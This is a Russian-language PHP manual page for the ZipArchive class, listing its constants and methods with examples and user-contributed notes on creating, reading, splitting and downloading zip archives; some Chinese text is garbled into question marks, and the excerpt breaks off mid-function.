Не допускается в torrentzip. Доступно, начиная с PHP 8.3.0 и PECL zip 1.22.0, соответственно, если собран с libzip ? 1.10.0.
Режимы шифрования
ZipArchive::EM_NONE
Без шифрования. Доступно, начиная с PHP 7.2.0 и PECL zip 1.14.0, соответственно, если скомпилировано с использованием libzip ? 1.2.0.
ZipArchive::EM_TRAD_PKWARE
Традиционное шифрование PKWARE. Доступно, начиная с PHP 8.0.0 и PECL zip 1.19.0.
ZipArchive::EM_AES_128
Шифрование AES 128. Доступно, начиная с PHP 7.2.0 и PECL zip 1.14.0, соответственно, если скомпилировано с использованием libzip ? 1.2.0.
ZipArchive::EM_AES_192
Шифрование AES 192. Доступно, начиная с PHP 7.2.0 и PECL zip 1.14.0, соответственно, если скомпилировано с использованием libzip ? 1.2.0.
ZipArchive::EM_AES_256
Шифрование AES 256. Доступно, начиная с PHP 7.2.0 и PECL zip 1.14.0, соответственно, если скомпилировано с использованием libzip ? 1.2.0.
ZipArchive::EM_UNKNOWN
Без шифрования. Доступно, начиная с PHP 8.0.0 и PECL zip 1.19.0.
Другие константы
ZipArchive::LIBZIP_VERSION (string)
Версия библиотеки Zip. Доступно, начиная с PHP 7.4.3 и PECL zip 1.16.0.
Константы операционной системы для внешних атрибутов
ZipArchive::OPSYS_DOS
ZipArchive::OPSYS_AMIGA
ZipArchive::OPSYS_OPENVMS
ZipArchive::OPSYS_UNIX
ZipArchive::OPSYS_VM_CMS
ZipArchive::OPSYS_ATARI_ST
ZipArchive::OPSYS_OS_2
ZipArchive::OPSYS_MACINTOSH
ZipArchive::OPSYS_Z_SYSTEM
ZipArchive::OPSYS_CPM
ZipArchive::OPSYS_WINDOWS_NTFS
ZipArchive::OPSYS_MVS
ZipArchive::OPSYS_VSE
ZipArchive::OPSYS_ACORN_RISC
ZipArchive::OPSYS_VFAT
ZipArchive::OPSYS_ALTERNATE_MVS
ZipArchive::OPSYS_BEOS
ZipArchive::OPSYS_TANDEM
ZipArchive::OPSYS_OS_400
ZipArchive::OPSYS_OS_X
ZipArchive::OPSYS_DEFAULT
Начиная с PECL zip 1.12.4

User Contributed Notes

ohcc at 163 dot com 17-Dec-2015 08:35
0    ZIPARCHIVE::ER_OK     ?????
1    ZIPARCHIVE::ER_MULTIDISK    ??????zip????
2    ZIPARCHIVE::ER_RENAME    ??????????
3    ZIPARCHIVE::ER_CLOSE    ??zip??????
4    ZIPARCHIVE::ER_SEEK    ????
5    ZIPARCHIVE::ER_READ    ????
6    ZIPARCHIVE::ER_WRITE    ????
7    ZIPARCHIVE::ER_CRC    CRC????
8    ZIPARCHIVE::ER_ZIPCLOSED    zip??????
9    ZIPARCHIVE::ER_NOENT    ????
10    ZIPARCHIVE::ER_EXISTS    ??????
11    ZIPARCHIVE::ER_OPEN    ??????
12    ZIPARCHIVE::ER_TMPOPEN    ????????
13    ZIPARCHIVE::ER_ZLIB    Zlib??
14    ZIPARCHIVE::ER_MEMORY    ??????
15    ZIPARCHIVE::ER_CHANGED    ??????
16    ZIPARCHIVE::ER_COMPNOTSUPP    ????????
17    ZIPARCHIVE::ER_EOF    ???EOF
18    ZIPARCHIVE::ER_INVAL    ?????
19    ZIPARCHIVE::ER_NOZIP    ????zip???
20    ZIPARCHIVE::ER_INTERNAL    Internal
21    ZIPARCHIVE::ER_INCONS    Zip??????
22    ZIPARCHIVE::ER_REMOVE    ??????
23    ZIPARCHIVE::ER_DELETED    ??????
scott at bluecamel dot eml dot cc 13-Jun-2008 10:13
#define ZIP_ER_OK             0  /* N No error */
#define ZIP_ER_MULTIDISK      1  /* N Multi-disk zip archives not supported */
#define ZIP_ER_RENAME         2  /* S Renaming temporary file failed */
#define ZIP_ER_CLOSE          3  /* S Closing zip archive failed */
#define ZIP_ER_SEEK           4  /* S Seek error */
#define ZIP_ER_READ           5  /* S Read error */
#define ZIP_ER_WRITE          6  /* S Write error */
#define ZIP_ER_CRC            7  /* N CRC error */
#define ZIP_ER_ZIPCLOSED      8  /* N Containing zip archive was closed */
#define ZIP_ER_NOENT          9  /* N No such file */
#define ZIP_ER_EXISTS        10  /* N File already exists */
#define ZIP_ER_OPEN          11  /* S Can't open file */
#define ZIP_ER_TMPOPEN       12  /* S Failure to create temporary file */
#define ZIP_ER_ZLIB          13  /* Z Zlib error */
#define ZIP_ER_MEMORY        14  /* N Malloc failure */
#define ZIP_ER_CHANGED       15  /* N Entry has been changed */
#define ZIP_ER_COMPNOTSUPP   16  /* N Compression method not supported */
#define ZIP_ER_EOF           17  /* N Premature EOF */
#define ZIP_ER_INVAL         18  /* N Invalid argument */
#define ZIP_ER_NOZIP         19  /* N Not a zip archive */
#define ZIP_ER_INTERNAL      20  /* N Internal error */
#define ZIP_ER_INCONS        21  /* N Zip archive inconsistent */
#define ZIP_ER_REMOVE        22  /* S Can't remove file */
#define ZIP_ER_DELETED       23  /* N Entry has been deleted */


Примеры

Пример #1 Создание Zip-архива

<?php

$zip = new ZipArchive();
$filename = "./test112.zip";

if ($zip->open($filename, ZipArchive::CREATE)!==TRUE) {
exit("Невозможно открыть <$filename>\n");
}

$zip->addFromString("testfilephp.txt" . time(), "#1 Это тестовая строка добавляется в качестве testfilephp.txt.\n");
$zip->addFromString("testfilephp2.txt" . time(), "#2 Это тестовая строка добавляется в качестве testfilephp2.txt.\n");
$zip->addFile($thisdir . "/too.php","/testfromfile.php");
echo "numfiles: " . $zip->numFiles . "\n";
echo "status:" . $zip->status . "\n";
$zip->close();
?>

Пример #2 Собрать и отобразить подробную информацию об архиве

<?php
$za = new ZipArchive();

$za->open('test_with_comment.zip');
print_r($za);
var_dump($za);
echo "numFiles: " . $za->numFiles . "\n";
echo "status: " . $za->status . "\n";
echo "statusSys: " . $za->statusSys . "\n";
echo "filename: " . $za->filename . "\n";
echo "comment: " . $za->comment . "\n";

for ($i=0; $i<$za->numFiles;$i++) {
echo "index: $i\n";
print_r($za->statIndex($i));
}
echo "numFile:" . $za->numFiles . "\n";
?>

Пример #3 Использование обёртки потока Zip, чтение метаинформации OpenOffice

<?php
$reader = new XMLReader();

$reader->open('zip://' . dirname(__FILE__) . '/test.odt#meta.xml');
$odt_meta = array();
while ($reader->read()) {
if ($reader->nodeType == XMLREADER::ELEMENT) {
$elm = $reader->name;
} else {
if ($reader->nodeType == XMLREADER::END_ELEMENT && $reader->name == 'office:meta') {
break;
}
if (!trim($reader->value)) {
continue;
}
$odt_meta[$elm] = $reader->value;
}
}
print_r($odt_meta);
?>

Этот пример использует старую версию API (PHP 4), он открывает ZIP-архив, читает каждый файл в архиве и выводит его содержимое. Архив test2.zip, использованный в этом примере, является одним из тестовых архивов исходного дистрибутива ZZIPlib.

Пример #4 Пример использования Zip

<?php

$zip = zip_open("/tmp/test2.zip");

if ($zip) {
while ($zip_entry = zip_read($zip)) {
echo "Название: " . zip_entry_name($zip_entry) . "\n";
echo "Исходный размер: " . zip_entry_filesize($zip_entry) . "\n";
echo "Сжатый размер: " . zip_entry_compressedsize($zip_entry) . "\n";
echo "Метод сжатия: " . zip_entry_compressionmethod($zip_entry) . "\n";

if (zip_entry_open($zip, $zip_entry, "r")) {
echo "Содержимое файла:\n";
$buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
echo "$buf\n";

zip_entry_close($zip_entry);
}
echo "\n";

}

zip_close($zip);

}
?>

User Contributed Notes

webmaster @ anonymous 27-Jun-2013 04:38
you can use this code for reading JAR files (java archives)

JAR files use the same ZIP format, so can be easily read

$zf = zip_open(realpath('D:/lucene/allinone/lucene-core.jar')); $i=1;
while($zf && $ze = zip_read($zf)) {
    $zi[$i]['zip entry name']= zip_entry_name($ze);
    $zi[$i]['zip entry filesize']= zip_entry_filesize($ze);
    $zi[$i]['zip entry compressed size']= zip_entry_compressedsize($ze);
    $zi[$i]['zip entry compression method']= zip_entry_compressionmethod($ze);
    $zi[$i]['zip entry open status'] = zip_entry_open($zf,$ze);
    //$zi[$i]['zip entry file contents'] = zip_entry_read($ze,100);
    $i++;
}
print_r($zi);
zip_close($zf);
Jonathan 19-Jan-2010 10:29
If you find your zip file not being created make sure every file you are adding to the zip is valid.  If even one file is not available when zip->close is called then the archive will fail and your zip file won't be created.
Stefano Di Paolo 04-Oct-2008 07:13
1) If you want to add files to a ZIP archive but you don't know if the ZiP file exists or not, you MUST check: this changes the way you open it !.
2) you can not append multiple flags, can use only one (or none).

If the zip does not exists, open it with:
$ziph->open($archiveFile, ZIPARCHIVE::CM_PKWARE_IMPLODE)
(or a different compression method)

If the zip already exists, open it with:
$ziph->open($archiveFile)
or
$ziph->open($archiveFile, ZIPARCHIVE::CHECKCONS)

Example: make backup files every hour and ZIP them all in a daily ZIP archive, so you want to get only one ZIP per day, each ZIP containing 24 files:
<?php
  function archivebackup($archiveFile, $file, &$errMsg)
  {
    $ziph = new ZipArchive();
    if(file_exists($archiveFile))
    {
      if($ziph->open($archiveFile, ZIPARCHIVE::CHECKCONS) !== TRUE)
      {
        $errMsg = "Unable to Open $archiveFile";
        return 1;
      }
    }
    else
    {
      if($ziph->open($archiveFile, ZIPARCHIVE::CM_PKWARE_IMPLODE) !== TRUE)
      {
        $errMsg = "Could not Create $archiveFile";
        return 1;
      }
    }
    if(!$ziph->addFile($file))
    {
      $errMsg = "error archiving $file in $archiveFile";
      return 2;
    }
    $ziph->close();

    return 0;
  }
?>
info at peterhofer dot ch 13-Sep-2008 09:03
All these examples will not work if the php script has no write access within the folder.

Although you may say this is obvious, I found that in this case, $zip->open("name", ZIPARCHIVE::CREATE) doesn't return an error as it might not try to access the file system but rather allocates memory.

It is only $zip->close() that returns the error. This might cause you seeking at the wrong end.
geandjay at gmail dot com 17-Apr-2008 09:25
<?php
        $zip = new ZipArchive;
    $zip->open('teste.zip');
    $zip->extractTo('./');
    $zip->close();
        echo "Ok!";
?>


Класс ZipArchive

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

Введение

Файловый архив, сжатый Zip.

Обзор классов

class ZipArchive implements Countable {
/* Константы */
public const int CREATE;
public const int EXCL;
public const int CHECKCONS;
public const int OVERWRITE;
public const int RDONLY;
public const int FL_NOCASE;
public const int FL_NODIR;
public const int FL_COMPRESSED;
public const int FL_UNCHANGED;
public const int FL_RECOMPRESS;
public const int FL_ENCRYPTED;
public const int FL_OVERWRITE;
public const int FL_LOCAL;
public const int FL_CENTRAL;
public const int FL_ENC_GUESS;
public const int FL_ENC_RAW;
public const int FL_ENC_STRICT;
public const int FL_ENC_UTF_8;
public const int FL_ENC_CP437;
public const int CM_DEFAULT;
public const int CM_STORE;
public const int CM_SHRINK;
public const int CM_REDUCE_1;
public const int CM_REDUCE_2;
public const int CM_REDUCE_3;
public const int CM_REDUCE_4;
public const int CM_IMPLODE;
public const int CM_DEFLATE;
public const int CM_DEFLATE64;
public const int CM_PKWARE_IMPLODE;
public const int CM_BZIP2;
public const int CM_LZMA;
public const int CM_LZMA2;
public const int CM_ZSTD;
public const int CM_XZ;
public const int CM_TERSE;
public const int CM_LZ77;
public const int CM_WAVPACK;
public const int CM_PPMD;
public const int ER_OK;
public const int ER_MULTIDISK;
public const int ER_RENAME;
public const int ER_CLOSE;
public const int ER_SEEK;
public const int ER_READ;
public const int ER_WRITE;
public const int ER_CRC;
public const int ER_ZIPCLOSED;
public const int ER_NOENT;
public const int ER_EXISTS;
public const int ER_OPEN;
public const int ER_TMPOPEN;
public const int ER_ZLIB;
public const int ER_MEMORY;
public const int ER_CHANGED;
public const int ER_COMPNOTSUPP;
public const int ER_EOF;
public const int ER_INVAL;
public const int ER_NOZIP;
public const int ER_INTERNAL;
public const int ER_INCONS;
public const int ER_REMOVE;
public const int ER_DELETED;
public const int ER_ENCRNOTSUPP;
public const int ER_RDONLY;
public const int ER_NOPASSWD;
public const int ER_WRONGPASSWD;
public const int ER_OPNOTSUPP;
public const int ER_INUSE;
public const int ER_TELL;
public const int ER_COMPRESSED_DATA;
public const int ER_CANCELLED;
public const int OPSYS_DOS;
public const int OPSYS_AMIGA;
public const int OPSYS_OPENVMS;
public const int OPSYS_UNIX;
public const int OPSYS_VM_CMS;
public const int OPSYS_ATARI_ST;
public const int OPSYS_OS_2;
public const int OPSYS_MACINTOSH;
public const int OPSYS_Z_SYSTEM;
public const int OPSYS_CPM;
public const int OPSYS_WINDOWS_NTFS;
public const int OPSYS_MVS;
public const int OPSYS_VSE;
public const int OPSYS_ACORN_RISC;
public const int OPSYS_VFAT;
public const int OPSYS_ALTERNATE_MVS;
public const int OPSYS_BEOS;
public const int OPSYS_TANDEM;
public const int OPSYS_OS_400;
public const int OPSYS_OS_X;
public const int OPSYS_DEFAULT;
public const int EM_NONE;
public const int EM_TRAD_PKWARE;
public const int EM_AES_128;
public const int EM_AES_192;
public const int EM_AES_256;
public const int EM_UNKNOWN;
public const string LIBZIP_VERSION;
/* Свойства */
public readonly int $lastId;
public readonly int $status;
public readonly int $statusSys;
public readonly int $numFiles;
public readonly string $filename;
public readonly string $comment;
/* Методы */
public addEmptyDir(string $dirname, int $flags = 0): bool
public addFile(
string $filepath,
string $entryname = "",
int $start = 0,
int $length = 0,
int $flags = ZipArchive::FL_OVERWRITE
): bool
public addFromString(string $name, string $content, int $flags = ZipArchive::FL_OVERWRITE): bool
public addGlob(string $pattern, int $flags = 0, array $options = []): array|false
public addPattern(string $pattern, string $path = ".", array $options = []): array|false
public clearError(): void
public close(): bool
public count(): int
public deleteIndex(int $index): bool
public deleteName(string $name): bool
public extractTo(string $pathto, array|string|null $files = null): bool
public getArchiveComment(int $flags = 0): string|false
public getArchiveFlag(int $flag = 0, int $flags = 0): int
public getCommentIndex(int $index, int $flags = 0): string|false
public getCommentName(string $name, int $flags = 0): string|false
public getExternalAttributesIndex(
int $index,
int &$opsys,
int &$attr,
int $flags = 0
): bool
public getExternalAttributesName(
string $name,
int &$opsys,
int &$attr,
int $flags = 0
): bool
public getFromIndex(int $index, int $len = 0, int $flags = 0): string|false
public getFromName(string $name, int $len = 0, int $flags = 0): string|false
public getNameIndex(int $index, int $flags = 0): string|false
public getStatusString(): string
public getStream(string $name): resource|false
public getStreamIndex(int $index, int $flags = 0): resource|false
public getStreamName(string $name, int $flags = 0): resource|false
public static isCompressionMethodSupported(int $method, bool $enc = true): bool
public static isEncryptionMethodSupported(int $method, bool $enc = true): bool
public locateName(string $name, int $flags = 0): int|false
public open(string $filename, int $flags = 0): bool|int
public registerCancelCallback(callable $callback): bool
public registerProgressCallback(float $rate, callable $callback): bool
public renameIndex(int $index, string $new_name): bool
public renameName(string $name, string $new_name): bool
public replaceFile(
string $filepath,
int $index,
int $start = 0,
int $length = 0,
int $flags = 0
): bool
public setArchiveComment(string $comment): bool
public setArchiveFlag(int $flag, int $value): bool
public setCommentIndex(int $index, string $comment): bool
public setCommentName(string $name, string $comment): bool
public setCompressionIndex(int $index, int $method, int $compflags = 0): bool
public setCompressionName(string $name, int $method, int $compflags = 0): bool
public setEncryptionIndex(int $index, int $method, ?string $password = null): bool
public setEncryptionName(string $name, int $method, ?string $password = null): bool
public setExternalAttributesIndex(
int $index,
int $opsys,
int $attr,
int $flags = 0
): bool
public setExternalAttributesName(
string $name,
int $opsys,
int $attr,
int $flags = 0
): bool
public setMtimeIndex(int $index, int $timestamp, int $flags = 0): bool
public setMtimeName(string $name, int $timestamp, int $flags = 0): bool
public setPassword(string $password): bool
public statIndex(int $index, int $flags = 0): array|false
public statName(string $name, int $flags = 0): array|false
public unchangeAll(): bool
public unchangeArchive(): bool
public unchangeIndex(int $index): bool
public unchangeName(string $name): bool
}

Свойства

lastId

Значение индекса последней добавленной записи (файл или каталог). Доступно с PHP 8.0.0 и PECL zip 1.18.0.

status

Статус Zip-архива. Доступно для закрытого архива, начиная с PHP 8.0.0 и PECL zip 1.18.0.

statusSys

Системный статус Zip-архива. Доступно для закрытого архива, начиная с PHP 8.0.0 и PECL zip 1.18.0.

numFiles

Количество файлов в архиве

filename

Имя файла в файловой системе

comment

Комментарий к архиву

Содержание

  • ZipArchive::addEmptyDir — Добавляет новую директорию
  • ZipArchive::addFile — Добавляет в ZIP-архив файл по указанному пути
  • ZipArchive::addFromString — Добавляет файл в ZIP-архив, используя его содержимое
  • ZipArchive::addGlob — Добавить файлы из директории в соответствии с шаблоном
  • ZipArchive::addPattern — Добавить файлы из директории в соответствии с шаблоном регулярного выражения PCRE
  • ZipArchive::clearError — Удаляет сообщение об ошибке статуса, системные и/или сообщения модуля zip
  • ZipArchive::close — Закрывает активный архив (открытый или вновь созданный)
  • ZipArchive::count — Подсчитывает количество файлов в архиве
  • ZipArchive::deleteIndex — Удаляет элемент в архиве, используя его индекс
  • ZipArchive::deleteName — Удаляет элемент в архиве, используя его имя
  • ZipArchive::extractTo — Извлекает содержимое архива
  • ZipArchive::getArchiveComment — Возвращает комментарий ZIP-архива
  • ZipArchive::getArchiveFlag — Возвращает значение глобального флага ZIP-архива
  • ZipArchive::getCommentIndex — Возвращает комментарий элемента, используя его индекс
  • ZipArchive::getCommentName — Возвращает комментарий элемента, используя его имя
  • ZipArchive::getExternalAttributesIndex — Извлечь внешние атрибуты записи по её индексу
  • ZipArchive::getExternalAttributesName — Извлечь внешние атрибуты записи по её имени
  • ZipArchive::getFromIndex — Возвращает содержимое элемента по его индексу
  • ZipArchive::getFromName — Возвращает содержимое элемента по его имени
  • ZipArchive::getNameIndex — Возвращает имя элемента по его индексу
  • ZipArchive::getStatusString — Возвращают статус сообщения об ошибке, системный и/или zip-статус
  • ZipArchive::getStream — Получить дескриптор файла элемента, определённый по имени элемента (только для чтения)
  • ZipArchive::getStreamIndex — Получает обработчик файла для записи, определённой её индексом (только для чтения)
  • ZipArchive::getStreamName — Получает обработчик файла для записи, определённой её именем (только для чтения)
  • ZipArchive::isCompressionMethodSupported — Проверяет, поддерживается ли метод сжатия libzip
  • ZipArchive::isEncryptionMethodSupported — Проверяет, поддерживается ли метод шифрования libzip
  • ZipArchive::locateName — Возвращает индекс элемента в архиве
  • ZipArchive::open — Открывает ZIP-архив
  • ZipArchive::registerCancelCallback — Регистрирует callback-функцию для разрешения отмены во время закрытия архива
  • ZipArchive::registerProgressCallback — Регистрирует callback-функцию для предоставления обновлений при закрытии архива
  • ZipArchive::renameIndex — Переименовывает элемент по его индексу
  • ZipArchive::renameName — Переименовывает элемент по его имени
  • ZipArchive::replaceFile — Заменяет файл в ZIP-архиве указанным путём
  • ZipArchive::setArchiveComment — Устанавливает комментарий к ZIP-архиву
  • ZipArchive::setArchiveFlag — Устанавливает глобальный флаг ZIP-архива
  • ZipArchive::setCommentIndex — Устанавливает комментарий к элементу по его индексу
  • ZipArchive::setCommentName — Устанавливает комментарий к элементу, заданному по имени
  • ZipArchive::setCompressionIndex — Установить метод сжатия записи, заданной её индексом
  • ZipArchive::setCompressionName — Установить метод сжатия записи, заданной по имени
  • ZipArchive::setEncryptionIndex — Установить метод шифрования записи по её индексу
  • ZipArchive::setEncryptionName — Установить метод шифрования записи по её имени
  • ZipArchive::setExternalAttributesIndex — Установить внешние атрибуты записи по её индексу
  • ZipArchive::setExternalAttributesName — Установка внешних атрибутов записи, заданной по имени
  • ZipArchive::setMtimeIndex — Установить время модификации файла по его индексу
  • ZipArchive::setMtimeName — Установить время модификации файла по его имени
  • ZipArchive::setPassword — Установка пароля для активного архива
  • ZipArchive::statIndex — Получение детальной информации о элементе по его индексу
  • ZipArchive::statName — Получение детальной информации об элементе по его имени
  • ZipArchive::unchangeAll — Отменяет все изменения, сделанные в архиве
  • ZipArchive::unchangeArchive — Возвращает все глобальные изменения, сделанные в архиве
  • ZipArchive::unchangeIndex — Отменяет все изменения у позиции с заданным индексом
  • ZipArchive::unchangeName — Отменяет все изменения у позиции с заданным именем

User Contributed Notes

theking2(at)king.ma 20-May-2023 05:00
A modern way to zip a folder recursivly is using the DirectoryIterator. I use this little class:

<?php
class MakeZip
{
  private ZipArchive $zipArchive;
  private int $startPathLength; // chars to remove from the start for the stored entity

  public function __construct(
    string $zipArchivename,
    public readonly string $startPath,
    public readonly mixed $convert_function,
  )
  {
    $this->zipArchive = new \ZipArchive;
    $this->zipArchive->open($zipArchivename, ZipArchive::CREATE);
    $this->startPathLength = strlen($this-> startPath);

    $this-> zipDir($startPath);
  }
  public function __destruct()
  {
    $this-> zipArchive-> close();
  }

  /**
   * Add files and sub-directories in a folder to zip file.
   * @param string $folder
   * @param ZipArchive $zipFile
   * @param int $exclusiveLength Number of text to be exclusived from the file path.
   */
  private function zipDir($folder)
  {
    echo $folder . '<br>' . PHP_EOL;
    foreach (new \DirectoryIterator($folder) as $f) {
      if ($f->isDot())
        continue; //skip . ..
      if ($f->isDir()) {
        if( $f->getExtension() === 'git') continue; // skip .git folder
        $this-> zipArchive-> addEmptyDir($f->getPathname());
        $this-> zipDir($f->getPathname());

        continue;
      }
      if ($f->isFile()) {
        if ($f->getBasename() === basename(__FILE__)) continue; // skip self
        if ($f->getExtension() === 'zip') continue; // skip ZIP files

        $this-> zipArchive ->addFile( substr($f-> getPathname(), $this-> startPathLength) ); // remove './'

        continue;
      }

    }
  }
}
?>

Which can be used thusly:
<?php
  $host = str_replace('.', '_', $_SERVER['HTTP_HOST']);
  $date = date('Ymd-His');

  $zip = new \MakeZip("./archiv-$host-$date.zip", './', $convert_function);
  unset($zip);
?>

Add encryption or other features in the constructor.
M. Wolf 17-Aug-2016 05:39
How to detect corrupt files with CRC mismatch:

Creating a corrupt archive for testing is simple - zip some files and change a byte with a hex editor in the resulting ZIP file. Now you can test the file with a ZIP application to learn which file inside the archive is corrupt.

ZipArchive seems unable to detect broken files. ZipArchive::CHECKCONS doesn't help, only if it's not a ZIP file at all. It happily decompressed corrupt files in my tests and the user downloading the data is not informed.

You can simply verify on the server for smaller files:
<?php
$maxsize = 1024*1024;
$z = new ZipArchive;
$r = $z->open("foo.zip", ZipArchive::CHECKCONS);
if($r !== TRUE)
  die('ZIP error when trying to open "foo.zip": '.$r);

$stat = $z->statName("mybrokenfile.txt");
if($stat['size'] > $maxsize)
  die('File too large, decompression denied');
$s = $z->getStream($file);
$data = stream_get_contents($s, $maxsize);
fclose($s);
if($stat['crc'] != crc32($data))
  die('File is corrupt!');
//echo 'File is valid';

//you may send the file to the client now if you didn't output anything before
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="mybrokenfile.txt"');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . $stat['size']);
ob_clean();
echo $data;
$z->close();
?>
If the file shall not be fully decompressed on the server but decompressed while streaming to the client due to it's size, the file transfer already startet and printing an error message later doesn't work. Maybe the best way would be to interrupt the connection before closing the file transfer. The client should be able to detect this as corrupt download.
On the server side a function is needed, that can calculate the CRC32 on streamed data stepwise.
ohcc at 163 dot com 28-Nov-2015 06:14
With PHP 5.6+, you may come up with theses errors.

Warning: Unknown: Cannot destroy the zip context in Unknown on line 0

Warning: ZipArchive::close(): Can't remove file: No such file or directory in xxxx.php on line xx

Examples

Warning: Unknown: Cannot destroy the zip context in Unknown on line 0

<?php
    $za = new ZipArchive;
    $za->open('51-n.com.zip',ZipArchive::CREATE|ZipArchive::OVERWRITE);
?>

Warning: ZipArchive::close(): Can't remove file: No such file or directory in xxxx.php on line xx

<?php
    $za = new ZipArchive;
    $za->open('51-n.com.zip',ZipArchive::CREATE|ZipArchive::OVERWRITE);
    $za->close();
?>

It happens when the zip archive is empty.
Your zip archive will not be saved on disk unless it has at least one file. What's more, when ZipArchive::OVERWRITE is applied, if there exists a file with the same name, it will be removed after ZipArchive::open() is called.

So, don't forget to put at least one file to your zip archive.

<?php
    $za = new ZipArchive;
    $za->open('51-n.com.zip',ZipArchive::CREATE|ZipArchive::OVERWRITE);
    $za->addFromString('wuxiancheng.cn.txt','yes');
    $za->close();
?>
ohcc at 163 dot com 06-Nov-2015 08:58
<?php
    //use bzip2 + ZipArchive to reduce file size of your zip archives.
    $zip = new ZipArchive;
    $zip->open('i.zip',ZIPARCHIVE::CREATE|ZIPARCHIVE::OVERWRITE);
    $file='wuxiancheng.cn.sql';
    $bzFilename = $file.'.bz2';
    $sql = file_get_contents($file);
    $sql = bzcompress($sql,9);
    $zip->addFromString($bzFilename,$sql);
    $zip->setArchiveComment('zipped on '.date('Y-M-d'));
?>
nick at fullfatthings dot com 24-Mar-2015 02:59
There is a limit withing PHP 5.3.3 (which seems to have been addressed in later versions; 5.3.29 seems ok on a different server).

If you try to open a zip file with more than 65,535 files in it (in my case it had 237,942 files) then you cannot access the later files. The numFiles property only reports the first 65k files.
ebestwebmaster at gmail dot com 16-Dec-2014 11:46
A way of zipping files and downloading them thereafter:
<?php

 $files = array('image.jpeg','text.txt','music.wav');
$zipname = 'enter_any_name_for_the_zipped_file.zip';
$zip = new ZipArchive;
$zip->open($zipname, ZipArchive::CREATE);
foreach ($files as $file) {
  $zip->addFile($file);
}
$zip->close();

///Then download the zipped file.
header('Content-Type: application/zip');
header('Content-disposition: attachment; filename='.$zipname);
header('Content-Length: ' . filesize($zipname));
readfile($zipname);

?>
piotr dot stop dot spam at gmail dot com 17-Jan-2014 04:58
You can check general purpose flag to test if the zip file is encrypted. Example function below.

<?php

/**
 * Check if the file is encrypted
 *
 * Notice: if file doesn't exists or cannot be opened, function
 * also return false.
 *
 * @param string $pathToArchive
 * @return boolean return true if file is encrypted
 */
function isEncryptedZip( $pathToArchive ) {
    $fp = @fopen( $pathToArchive, 'r' );
    $encrypted = false;
    if ( $fp && fseek( $fp, 6 ) == 0 ) {
        $string = fread( $fp, 2 );
        if ( false !== $string ) {
            $data = unpack("vgeneral", $string);
            $encrypted = $data[ 'general' ] & 0x01 ? true : false;
        }
        fclose( $fp );
    }
    return $encrypted;
}
AshleyDambra at live dot com 16-May-2013 08:23
Simple class xZip to zip big folders into multiple parts and unzip multi zip files at once.

<?php
class xZip {
    public function __construct() {}
    private function _rglobRead($source, &$array = array()) {
        if (!$source || trim($source) == "") {
            $source = ".";
        }
        foreach ((array) glob($source . "/*/") as $key => $value) {
            $this->_rglobRead(str_replace("//", "/", $value), $array);
        }

        foreach ((array) glob($source . "*.*") as $key => $value) {
            $array[] = str_replace("//", "/", $value);
        }
    }
    private function _zip($array, $part, $destination) {
        $zip = new ZipArchive;
        @mkdir($destination, 0777, true);

        if ($zip->open(str_replace("//", "/", "{$destination}/partz{$part}.zip"), ZipArchive::CREATE)) {
            foreach ((array) $array as $key => $value) {
                $zip->addFile($value, str_replace(array("../", "./"), NULL, $value));
            }
            $zip->close();
        }
    }
    public function zip($limit = 500, $source = NULL, $destination = "./") {
        if (!$destination || trim($destination) == "") {
            $destination = "./";
        }

        $this->_rglobRead($source, $input);
        $maxinput = count($input);
        $splitinto = (($maxinput / $limit) > round($maxinput / $limit, 0)) ? round($maxinput / $limit, 0) + 1 : round($maxinput / $limit, 0);

        for($i = 0; $i < $splitinto; $i ++) {
            $this->_zip(array_slice($input, ($i * $limit), $limit, true), $i, $destination);
        }

        unset($input);
        return;
    }
    public function unzip($source, $destination) {
        @mkdir($destination, 0777, true);

        foreach ((array) glob($source . "/*.zip") as $key => $value) {
            $zip = new ZipArchive;
            if ($zip->open(str_replace("//", "/", $value)) === true) {
                $zip->extractTo($destination);
                $zip->close();
            }
        }
    }

    public function __destruct() {}
}

//$zip = new xZip;
//$zip->zip(500, "images/", "images_zip/");
//$zip->unzip("images_zip/", "images/");
?>
umbalaconmeogia at NOSPAM dot gmail dot com 28-Nov-2012 03:48
Zip a folder (include itself).
Usage:
  HZip::zipDir('/path/to/sourceDir', '/path/to/out.zip');

<?php
class HZip
{
  /**
   * Add files and sub-directories in a folder to zip file.
   * @param string $folder
   * @param ZipArchive $zipFile
   * @param int $exclusiveLength Number of text to be exclusived from the file path.
   */
  private static function folderToZip($folder, &$zipFile, $exclusiveLength) {
    $handle = opendir($folder);
    while (false !== $f = readdir($handle)) {
      if ($f != '.' && $f != '..') {
        $filePath = "$folder/$f";
        // Remove prefix from file path before add to zip.
        $localPath = substr($filePath, $exclusiveLength);
        if (is_file($filePath)) {
          $zipFile->addFile($filePath, $localPath);
        } elseif (is_dir($filePath)) {
          // Add sub-directory.
          $zipFile->addEmptyDir($localPath);
          self::folderToZip($filePath, $zipFile, $exclusiveLength);
        }
      }
    }
    closedir($handle);
  }

  /**
   * Zip a folder (include itself).
   * Usage:
   *   HZip::zipDir('/path/to/sourceDir', '/path/to/out.zip');
   *
   * @param string $sourcePath Path of directory to be zip.
   * @param string $outZipPath Path of output zip file.
   */
  public static function zipDir($sourcePath, $outZipPath)
  {
    $pathInfo = pathInfo($sourcePath);
    $parentPath = $pathInfo['dirname'];
    $dirName = $pathInfo['basename'];

    $z = new ZipArchive();
    $z->open($outZipPath, ZIPARCHIVE::CREATE);
    $z->addEmptyDir($dirName);
    self::folderToZip($sourcePath, $z, strlen("$parentPath/"));
    $z->close();
  }
}
?>
niklas dot schumi at NOSPAM dot googlemail dot com 02-Aug-2012 10:44
Hi there.
I just wrote a little function to zip a whole folder while maintaining the dir-structure. I hope it might help someone.

<?php
function folderToZip($folder, &$zipFile, $subfolder = null) {
    if ($zipFile == null) {
        // no resource given, exit
        return false;
    }
    // we check if $folder has a slash at its end, if not, we append one
    $folder .= end(str_split($folder)) == "/" ? "" : "/";
    $subfolder .= end(str_split($subfolder)) == "/" ? "" : "/";
    // we start by going through all files in $folder
    $handle = opendir($folder);
    while ($f = readdir($handle)) {
        if ($f != "." && $f != "..") {
            if (is_file($folder . $f)) {
                // if we find a file, store it
                // if we have a subfolder, store it there
                if ($subfolder != null)
                    $zipFile->addFile($folder . $f, $subfolder . $f);
                else
                    $zipFile->addFile($folder . $f);
            } elseif (is_dir($folder . $f)) {
                // if we find a folder, create a folder in the zip
                $zipFile->addEmptyDir($f);
